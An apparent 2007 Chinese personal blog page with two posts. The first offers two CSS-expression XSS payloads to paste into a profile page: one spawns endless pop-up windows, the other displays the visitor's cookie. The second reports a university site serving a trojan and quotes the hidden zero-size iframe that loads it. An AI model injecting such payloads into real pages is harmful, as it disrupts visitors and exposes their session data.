XSS的跨站
如下语句加入到自己的涂鸦里去 ，<DIV STYLE="width: expression(window.open('http://www.baidu.com'));">
这句会弹出窗口，死循环
<DIV STYLE="width: expression(alert(document.cookie));">
这句弹出你的cookie
spark
2007-01-26
2007年1月26日星期五
2007年1月15日星期一
中国人民大学网站 孔子在线有木马，请勿打开
孔子在线地址：http://confucian.ruc.edu.cn/
本来是要看看孔子老人家的，结果我的装备发出警告，有马。
查看原文件搜索frame，找到一个宽0高0的框架，
<iframe src="chn/conn.htm" width="0" height="0"></iframe>
无疑，是个木马了。
手头没工具，无法对木马进行分析，不过看似一个弱智弱智的东东了
用记事本把该自动要执行的木马打开，发现如下字段
[GOLDSUN@84823714.qq]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Roshal.WinRAR.WinRAR" type="win32" /> <description>WinRAR archiver.</description> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /> </dependentAssembly> </dependency> </assembly>
这样看来，儒家孔子都在网上散毒了，厉害，先进文化。
张建伟
2007-01-15
订阅：
博文 (Atom)